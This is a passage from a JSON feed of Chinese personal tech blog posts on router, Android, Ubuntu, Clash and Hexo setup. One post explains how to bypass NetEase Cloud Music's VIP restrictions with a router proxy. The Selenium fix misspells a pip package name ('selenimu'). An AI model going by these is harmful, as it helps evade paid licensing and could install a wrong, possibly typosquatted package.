使用记录\u003c/h2\u003e\u003cp\u003eunblockNeteaseMusic可以用来播放网易云音乐中的灰色歌曲,或者实现免vip播放会员歌曲等功能ヽ(✿゚▽゚)ノ\u003cbr\u003e但是该软件包出的挺早的了,对于最新版的网易云音乐已经无法实现上述功能了(((φ(◎ロ◎;)φ)))\u003cbr\u003e可能是最新版本网易云音乐做了奇奇怪怪的防护措施(-__-)\u0026#x3D;@))\u0026gt; o然后直接把这个东西给ban了。\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch2 id=\"Setup\"\u003e\u003ca href=\"#Setup\" class=\"headerlink\" title=\"Setup\"\u003e\u003c/a\u003eSetup\u003c/h2\u003e\u003cp\u003e360t7路由器 237系统(LuCI openwrt-21.02 \u0026#x2F; LuCI openwrt-21.02)\u003cbr\u003e\u003ca href=\"https://github.com/UnblockNeteaseMusic/luci-app-unblockneteasemusic\"\u003eluci-unblockneteasemusic(JavaScript) 3.2\u003c/a\u003e ps:也可以在luci管理页面下载\u003cbr\u003e\u003ca href=\"https://www.lanzoui.com/ioPkInxh8yf\"\u003e网易云音乐2.7.2(上古版本)\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://pan.baidu.com/s/18zVWFPHZ4PXaKgjc0LXMMg?pwd=8q64\"\u003e安卓极速版网易云音乐\u003c/a\u003e 提取码:8q64\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e\u003ca href=\"#步骤\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e下载好软件包后,在路由器luci设置页面选择服务,选中解除网易云音乐播放限制。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e点击启用服务,其他选项可按照自己意愿选择。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e开启进阶设置,在命令行输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs cmd\"\u003e\u003cspan class=\"hljs-built_in\"\u003eping\u003c/span\u003e music.\u003cspan class=\"hljs-number\"\u003e163\u003c/span\u003e.com\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e然后将网易云音乐的ip复制,粘贴到网易云服务器ip。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e设置\u0026#x2F;下载证书及公钥私钥\u003cbr\u003e参考链接\u003ca href=\"https://github.com/nondanee/UnblockNeteaseMusic/issues/48#issuecomment-477870013\"\u003e证书下载\u003c/a\u003e\u003cbr\u003e然后在luci设置页面选择自签发证书的公钥私钥为自签的公钥私钥。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e附上我的配置图\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/05/04/Mob3xTjPWkhZGat.png\" alt=\"meow\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e在windows网易云音乐中设置代理,服务器为你的路由器ip,端口为5200(默认),然后重启网易云音乐,即可实现开头提的功能。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e如果还是不行,考虑将路由器的ipv6给禁用\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e/etc/init.d/odhcpd disable\n/etc/init.d/odhcpd stop\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e\u003cdel\u003e安卓端设置路由器wifi代理:PAC地址为http:\u0026#x2F;\u0026#x2F;你的路由器ip\u0026#x2F;proxy.pac\u003c/del\u003e\u003cbr\u003e\u003cdel\u003eps:可以在设置前先登录你的账号,然后再设置代理,否则设置代理后你就无法登录了。\u003c/del\u003e\u003cbr\u003e\u003cstrong\u003e上述方法会导致哔哩哔哩报错:无网络连接,其它app是否有这个问题暂时不清楚。\u003c/strong\u003e\u003cbr\u003e\u003cstrong\u003e注:经本人测试,只要连接路由器WIFI,就可以实现上述功能,不需要设置代理。\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e此时你就可以在连接你路由器局域网的情况下在windows和安卓机上面畅享 脚臭 了(\u0026#x2F;\u0026#x2F;\u0026#x2F; ̄皿 ̄)○~\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e 花了很久很久才搞明白这个东西,一直遇到开启服务后网易云音乐会断网的问题怒ε\u0026#x3D;怒ε\u0026#x3D;( o`ω′)ノ\u003c/p\u003e\n\u003cp\u003e 查了很多很多资料,时间都挺早的,应该是大家最近搞这个软件包的人不多,然后我四面八方收集信息之后,终于找到了以上解决办法(ー\u0026#96;´ー)\u003c/p\u003e\n\u003cp\u003e 如果有问题可以联系我 ○| ̄|_\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/05/03/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BD%AF%E4%BB%B6%E6%8A%98%E8%85%BE/"},{"title":"QAuxiliary安装流程","time":"2024-04-28T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"Attention\"\u003e\u003ca href=\"#Attention\" class=\"headerlink\" title=\"Attention\"\u003e\u003c/a\u003eAttention\u003c/h2\u003e\u003cp\u003eQAuxiliary安装是我第一次从头到尾都是自己一步一步摸索出来的(○` 3′○)\u003cbr\u003e因此可能会有一些地方存在问题,可联系我进行更改(u‿ฺu✿ฺ)\u003c/p\u003e\n\u003ch3 id=\"需要提前下载的软件\"\u003e\u003ca href=\"#需要提前下载的软件\" class=\"headerlink\" title=\"需要提前下载的软件\"\u003e\u003c/a\u003e需要提前下载的软件\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003eLSPatch:用于将QAuxiliary模块插入的QQ的APK中。\u003c/li\u003e\n\u003cli\u003eQAuxiliary:To make OICQ great again(๑•̀ㅂ•́)و✧!!!是一个基于QNotified的开源的Xposed框架。\u003c/li\u003e\n\u003cli\u003eShizuku(或许也用不到这个,雾):可以在未root情况下使一些app使用root权限。\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"软件下载链接\"\u003e\u003ca href=\"#软件下载链接\" class=\"headerlink\" title=\"软件下载链接\"\u003e\u003c/a\u003e软件下载链接\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/LSPosed/LSPatch/releases\"\u003eLSPatch\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cinit/QAuxiliary/releases\"\u003eQAuxiliary\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RikkaApps/Shizuku/releases\"\u003eShizuku\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"安装步骤\"\u003e\u003ca href=\"#安装步骤\" class=\"headerlink\" title=\"安装步骤\"\u003e\u003c/a\u003e安装步骤\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003e安装好上述三个软件ヽ(✿゚▽゚)ノ\u003c/li\u003e\n\u003cli\u003e将当前QQ卸载,重新下载一个QQ的APK,并存放在一个指定目录,不用安装。\u003c/li\u003e\n\u003cli\u003e打开Shizuku,按照软件提示来启动Shizuku服务。\u003c/li\u003e\n\u003cli\u003e启动后给LSPatch软件开放权限。\u003c/li\u003e\n\u003cli\u003e打开LSPatch,在下面这个页面点击+号\u003cimg src=\"https://s2.loli.net/2024/04/29/sHk3aXmh1Wqp6Se.jpg\" alt=\"LSPatch step 1\"\u003e\u003c/li\u003e\n\u003cli\u003e第一次操作需要先随便选择一个目录来存放被注入模块的APK的路径\u003cimg src=\"https://s2.loli.net/2024/04/29/lWJw7VHMnDLyCox.jpg\" alt=\"LSPatch step 2\"\u003e\u003c/li\u003e\n\u003cli\u003e选择好后再选择刚刚下载的QQ APK,然后等待注入成功即可φ(≧ω≦*)♪\u003c/li\u003e\n\u003cli\u003e注入成功后在QQ侧滑栏设置页面即可看到QAuxiliary选项,至此大功告成(๑•̀ㅂ•́)و✧\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"结语\"\u003e\u003ca href=\"#结语\" class=\"headerlink\" title=\"结语\"\u003e\u003c/a\u003e结语\u003c/h2\u003e\u003cp\u003e我好喜欢开源w(゚Д゚)w,虽然还只是一个刚刚接触的小趴菜Σ( ° △ °|||)︴\u003cbr\u003e伟大,无需多言Ψ( ̄∀ ̄)Ψ!\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/04/29/QAuxiliary/"},{"title":"selenium报错ValueError","time":"2024-03-23T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Selenium-报错ValueError解决\"\u003e\u003ca href=\"#Selenium-报错ValueError解决\" class=\"headerlink\" title=\"Selenium 报错ValueError解决\"\u003e\u003c/a\u003eSelenium 报错ValueError解决\u003c/h1\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e错误\u003cbr\u003e 在python中使用selenium进行网页自动化\u0026#x2F;爬虫操作时,执行下面语句\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs python\"\u003e\u003cspan class=\"hljs-keyword\"\u003efrom\u003c/span\u003e selenium \u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e webdriver\ndriver = webdriver.Edge()\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e 可能会报错:ValueError: Timeout value connect was ……, but it must be an int, float or None…..(\u0026#x2F;- -)\u0026#x2F;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e原因\u003cbr\u003e出错原因:selenium当前版本与urllib3版本不兼容╮(﹀_﹀)╭\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e解决方法\u003cbr\u003e只需要更新为最新版本的selenium与urllib3即可Σ( ° △ °|||)︴\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs python\"\u003epip install -U selenimu\npip install -U urllib3\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e","url":"http://wanglanhuajiaofen.fun/2024/03/24/selenium/"},{"title":"Ubuntu20.04有线网络消失","time":"2024-03-23T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Ubuntu20-04有线网络消失问题解决方法\"\u003e\u003ca href=\"#Ubuntu20-04有线网络消失问题解决方法\" class=\"headerlink\" title=\"Ubuntu20.04有线网络消失问题解决方法\"\u003e\u003c/a\u003eUbuntu20.04有线网络消失问题解决方法\u003c/h1\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e现象\u003cbr\u003e右上角有线网络图标消失,设置中也看不到了(・-・*)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e原因\u003cbr\u003e我个人出现的原因是上次非正常强制关机了,下次开机就看不到有线网络图标了(@_@;)\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e解决方法\u003cbr\u003e打开终端\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003esudo nmcli networking off\nsudo nmcli networking on\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e便可以看到有线网络图标重新出现啦╰(\u003cem\u003e°▽°\u003c/em\u003e)╯\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","url":"http://wanglanhuajiaofen.fun/2024/03/24/net/"},{"title":"Ubuntu安装+配置clash","time":"2024-02-28T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Ubuntu23-10安装clash全过程-各种问题解决方案\"\u003e\u003ca href=\"#Ubuntu23-10安装clash全过程-各种问题解决方案\" class=\"headerlink\" title=\"Ubuntu23.10安装clash全过程(各种问题解决方案)\"\u003e\u003c/a\u003eUbuntu23.10安装clash全过程(各种问题解决方案)\u003c/h1\u003e\u003c!-- \u003cfont face=\"逐浪新宋\" color=grey size=6\u003e该篇blog将详细描述自己在ubuntu系统下安装clash的过程和遇到的各种问题与bug_ o( ̄ヘ ̄o#)\u003c/font\u003e --\u003e\n\n\u003chr\u003e\n\u003ch2 id=\"操作步骤\"\u003e\u003ca href=\"#操作步骤\" class=\"headerlink\" title=\"操作步骤\"\u003e\u003c/a\u003e操作步骤\u003c/h2\u003e\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e安装clash包\u003cul\u003e\n\u003cli\u003e\u003cp\u003e在终端中首先开启root权限\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003esu\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e在当前用户目录中创建名为clash的文件夹(名字自取即可)然后切换到该目录\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003emkdir ./clash\ncd ./clash\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e下载clash的几种方式(因为clash作者删库跑路了,所以无法从作者的仓库中下载)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003ewget + 下载url\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs apache\"\u003e\u003cspan class=\"hljs-attribute\"\u003ewget\u003c/span\u003e https://github.com/Dreamacro/clash/releases/download/v1.\u003cspan class=\"hljs-number\"\u003e14\u003c/span\u003e.\u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e/clash-linux-amd64-v1.\u003cspan class=\"hljs-number\"\u003e14\u003c/span\u003e.\u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e.gz\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e在ubuntu firefox浏览器找github备份仓库直接下载(考验你的网络(☆´益\u0026#96;)c)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这里我直接贴备用仓库的url \u003ca href=\"https://github.com/doreamon-design/clash/releases\" title=\"bushi\"\u003e备用仓库\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e注意选择对应的版本\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/02/29/76kTCNn4QjL5ehA.png\" alt=\"这是我选的版本\" title=\"myversion\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e如果显示无法连接,则可能是系统代理的问题(对于我是这样( ̄△ ̄;)),参考下面blog\u003cbr\u003e \u003ca href=\"https://blog.csdn.net/kids_budong_c/article/details/123479499,\" title=\"bushi\"\u003e这是解决大法!\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e解压clash包\u003cbr\u003e我下载的clash包的后缀是.tar.gz\u003cbr\u003e这里可能会遇到如下问题:\u003cul\u003e\n\u003cli\u003e解压后tar后缀还在\u003cbr\u003e解决方法: \u003ccode\u003etar -zxvf 压缩文件名.tar.gz\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e大部分教程给的都是gzip解压,这个方式对我不适用\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e赋予权限\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs linux\"\u003echmod +x 解压缩后的文件名\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e移动\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs linux\"\u003emv 解压缩后的文件名 /usr/local/bin/clash\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e查看版本\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003eclash -v\u003c/code\u003e\u003c/pre\u003e\n\n\u003cul\u003e\n\u003cli\u003e如果这一步报错:无法执行二进制文件,那就是大概你下载的clash包有问题,我的解决方法是用上述第二种方式o(*≧▽≦)ツ┏━┓\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果没有报错,正常显示出了clash版本号,那么到目前为止都非常顺利的成功了(  ̄ー ̄)人(^▽^ )\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e启动clash\u003cul\u003e\n\u003cli\u003e\u003cp\u003e启动clash\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs ebnf\"\u003e\u003cspan class=\"hljs-attribute\"\u003eclash\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e这一步会显示系统缺失有些配置文件,自动会给你下载好\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e导入配置文件(配置文件获取方式不再赘述)\u003cbr\u003e配置文件所在目录:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs arduino\"\u003e$home/.config/clash/\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e.config为隐藏文件夹,对于不熟悉终端的小伙伴在图形界面的文件夹按下CTRL+H即可\u003cbr\u003e将获得的配置文件改名为config.yaml替换上述目录中的config.yaml即可\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e重新启动clash\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs ebnf\"\u003e\u003cspan class=\"hljs-attribute\"\u003eclash\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e此时会显示出你的订阅的相关信息,即表示成功\u003cbr\u003e\u003cstrong\u003e在启动clash的条件下,访问以下链接可以进入clash图形控制页面\u003c/strong\u003e\u003cbr\u003e\u003ca href=\"https://clash.razord.top/#/proxies\" title=\"就是我啦Σ(っ °Д °;)っ\"\u003eclash图形控制页面\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu系统网络代理设置\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/02/29/8INVmetSdK9gRWk.png\" alt=\"Alt text\"\u003e\u003cbr\u003e这里我遇到一个问题是,我成功连接了梯子之后仍然翻不了墙,就一直在调这个代理设置,最终在按照上图输入之后可以了 \u003cstrong\u003e但是我不知道是不是因为这个原因才成功的O(≧口≦)O\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e设置开机自启\u003cul\u003e\n\u003cli\u003e\u003cp\u003e复制以下片段\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs ini\"\u003e\u003cspan class=\"hljs-attr\"\u003eDescription\u003c/span\u003e=Clash - A rule-based tunnel in Go\n\u003cspan class=\"hljs-attr\"\u003eDocumentation\u003c/span\u003e=https://github.com/Dreamacro/clash/wiki\n\u003cspan class=\"hljs-section\"\u003e[Service]\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eOOMScoreAdjust\u003c/span\u003e=-\u003cspan class=\"hljs-number\"\u003e1000\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eExecStart\u003c/span\u003e=/usr/local/bin/clash -f /home/rongrong/.config/clash/config.yaml \u003cspan class=\"hljs-comment\"\u003e# 注意这里要根据自己的配置路径进行相应的修改\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eRestart\u003c/span\u003e=\u003cspan class=\"hljs-literal\"\u003eon\u003c/span\u003e-failure\n\u003cspan class=\"hljs-attr\"\u003eRestartSec\u003c/span\u003e=\u003cspan class=\"hljs-number\"\u003e5\u003c/span\u003e\n\u003cspan class=\"hljs-section\"\u003e[Install]\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eWantedBy\u003c/span\u003e=multi-user.target\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e依次输入以下命令即可\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs bash\"\u003e\nsystemctl \u003cspan class=\"hljs-built_in\"\u003eenable\u003c/span\u003e clash\nsystemctl start clash\n\u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e -e \u003cspan class=\"hljs-string\"\u003e\u0026quot;export http_proxy=\u0026lt;http://127.0.0.1:7890\\nexport\u0026gt; https_proxy=\u0026lt;http://127.0.0.1:7890\u0026gt;\u0026quot;\u003c/span\u003e \u0026gt;\u0026gt; ~/.bashrc\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch1 id=\"小结\"\u003e\u003ca href=\"#小结\" class=\"headerlink\" title=\"小结\"\u003e\u003c/a\u003e小结\u003c/h1\u003e\u003cp\u003eubuntu安装和配置clash确实是一个繁琐的过程,而网上的教程没有对一些问题的解决方案,我把自己在配置过程中遇到的问题写了出来,供大家参考!!!\u003c/p\u003e\n\u003chr\u003e\n\u003c!-- \u003cfont face=\"逐浪新宋\" color=cyan size=10\u003e谢啦!!☆⌒(*^-゜)v\u003c/font\u003e --\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/29/clash/"},{"title":"hexo搭建博客bug小结","time":"2024-02-19T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"hexo搭建博客的过程中遇到的一些问题\"\u003e\u003ca href=\"#hexo搭建博客的过程中遇到的一些问题\" class=\"headerlink\" title=\"hexo搭建博客的过程中遇到的一些问题\"\u003e\u003c/a\u003ehexo搭建博客的过程中遇到的一些问题\u003c/h1\u003e\u003ch2 id=\"node-js与npm相关\"\u003e\u003ca href=\"#node-js与npm相关\" class=\"headerlink\" title=\"node.js与npm相关\"\u003e\u003c/a\u003enode.js与npm相关\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e下载\u003cbr\u003e从官网下载node.js后,基本只需要一路next即可,最重要的是选择add to path.\u003c/li\u003e\n\u003cli\u003e使用源\u003cul\u003e\n\u003cli\u003e\u003cp\u003e截止到2024\u0026#x2F;2\u0026#x2F;19为止,网上很多教程中的淘宝源均已无法使用,下面的为最新且有效的淘宝镜像:\u003ca href=\"https://registry.npmmirror.com/\"\u003ehttps://registry.npmmirror.com\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e先下载好cnpm会让之后的工作事半功倍b( ̄▽ ̄)d\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cp\u003e下面贴上代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs node.js\"\u003e\nnpm i -g cnpm --registry=https://registry.npmmirror.com\u003c/code\u003e\u003c/pre\u003e\n\n\u003cul\u003e\n\u003cli\u003e目录权限问题:如果遇到npm下载报错说权限不够等问题,win + r 输入cmd之后不着急回车,此时ctrl+shift+回车即可以管理员身份打开cmd,即可解决问题。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"hexo相关\"\u003e\u003ca href=\"#hexo相关\" class=\"headerlink\" title=\"hexo相关\"\u003e\u003c/a\u003ehexo相关\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e如果成功的下载了cnpm,那么之后使用npm下载的东西都用cnpm来替代,就能解决大部分无法下载的问题(๑•̀ㅂ•́)و✧\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e创建一个专门处理blog的文件夹,之后所有操作都在这个文件夹的根目录进行即可。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e\u003cem\u003e\u003cstrong\u003e重点\u003c/strong\u003e\u003c/em\u003e:hexo init报错: 此时只需要在根目录输入:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"hljs cmake\"\u003e\ncnpm \u003cspan class=\"hljs-keyword\"\u003einstall\u003c/span\u003e\nhexo s\n\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e即可解决。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"部署到github\"\u003e\u003ca href=\"#部署到github\" class=\"headerlink\" title=\"部署到github\"\u003e\u003c/a\u003e部署到github\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e在根目录_config.yml文件中ropo后面输入github仓库页的ssh链接而非https链接。\u003c/li\u003e\n\u003cli\u003e所有键值对后面都有 \u003cstrong\u003e空格\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"主题\"\u003e\u003ca href=\"#主题\" class=\"headerlink\" title=\"主题\"\u003e\u003c/a\u003e主题\u003c/h2\u003e\u003cp\u003e只需要在对应开源主题看文档即可按照自己意愿更改。\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h1\u003e\u003cp\u003e这篇文章集结了全部(大概)我在用一下午时间hexo搭建博客中遇到的问题,网上的方法有对的也有错的,经历了许久的试错后,终于找到的正确方法都被我记录在上面啦O(∩_∩)O!!!\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/20/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2bug%E5%B0%8F%E7%BB%93/"},{"title":"初搭博客","time":"2024-02-18T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"MyFirstBlog\"\u003e\u003ca href=\"#MyFirstBlog\" class=\"headerlink\" title=\"MyFirstBlog\"\u003e\u003c/a\u003eMyFirstBlog\u003c/h1\u003e\u003cp\u003edate: 2024-02-19 14:46\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"这是我第一篇博客,但这不是我第一次搭建博客\"\u003e\u003ca href=\"#这是我第一篇博客,但这不是我第一次搭建博客\" class=\"headerlink\" title=\"这是我第一篇博客,但这不是我第一次搭建博客\u0026#x3D;,\u0026#x3D;\"\u003e\u003c/a\u003e这是我第一篇博客,但这不是我第一次搭建博客\u0026#x3D;,\u0026#x3D;\u003c/h2\u003e\u003ch2 id=\"庆祝成功-•̀-ω-•́-y\"\u003e\u003ca href=\"#庆祝成功-•̀-ω-•́-y\" class=\"headerlink\" title=\"庆祝成功( •̀ ω •́ )y\"\u003e\u003c/a\u003e庆祝成功( •̀ ω •́ )y\u003c/h2\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/19/%E5%88%9D%E6%90%AD%E5%8D%9A%E5%AE%A2/"}]},{"name":"神社的储物间","email":"","uri":"https://mxts.jiujiuer.xyz/","description":"*节操消失了*","article":[{"title":"龙芯久久派Plus折腾笔记","time":"2024-09-12T07:41:18Z","content":"(*/ω\*)\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e感谢尚宇学长送的开发板,希望龙芯以后发展越来越好\u0026lt;(\u0026#x3D;w\u0026#x3D;)\u0026gt;\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这回折腾用到的主要有:\u003c/p\u003e\u003cul\u003e\u003cli\u003e本体:2k0300 久久派_Plus_V1.0\u003c/li\u003e\u003cli\u003e开发设备:Linux环境笔记本电脑\u003c/li\u003e\u003cli\u003e串口转接器:用一个老51开发板糊弄过去了(\u003c/li\u003e\u003cli\u003e路由器:提供稳定网络连接和局域网\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"开箱\"\u003e\u003ca href=\"#开箱\" class=\"headerlink\" title=\"开箱\"\u003e\u003c/a\u003e开箱\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912154924.png\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912155406.png\"\u003e\u003c/p\u003e\u003cp\u003e尊贵的总裁签名版(虽然看不太清)↑\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912154938.png\"\u003e\u003c/p\u003e\u003cp\u003e接口丰富度没得说,两个RJ45,两个USB2.0,一个3.5mm音频接口,UART,ADC,JTAG和Type-C供电,还有个MicroSD卡插槽。\u003c/p\u003e\u003cp\u003e这规格,只要三位数出头的价格,\u003cdel\u003e它就是炸了我都夸它炸得好听\u003c/del\u003e。稳定性跟功耗也没得说,ABI2.0的龙架构让它能拥有开源社区的支持,基本所有开源软件都可以通过交叉编译在这个板子上使用,未来可期属于是。\u003c/p\u003e\u003ch2 id=\"上电\"\u003e\u003ca href=\"#上电\" class=\"headerlink\" title=\"上电\"\u003e\u003c/a\u003e上电\u003c/h2\u003e\u003cp\u003e手头刚好没USB转串口,想到个幽默办法。掏出以前的51单片机开发板HC6800MS,给ST89C52RC薅下来,TX,RX,GND分别接到开发板的RXD0,TXD0,GND上:\u003c/p\u003e\u003cp\u003e\u003cimg 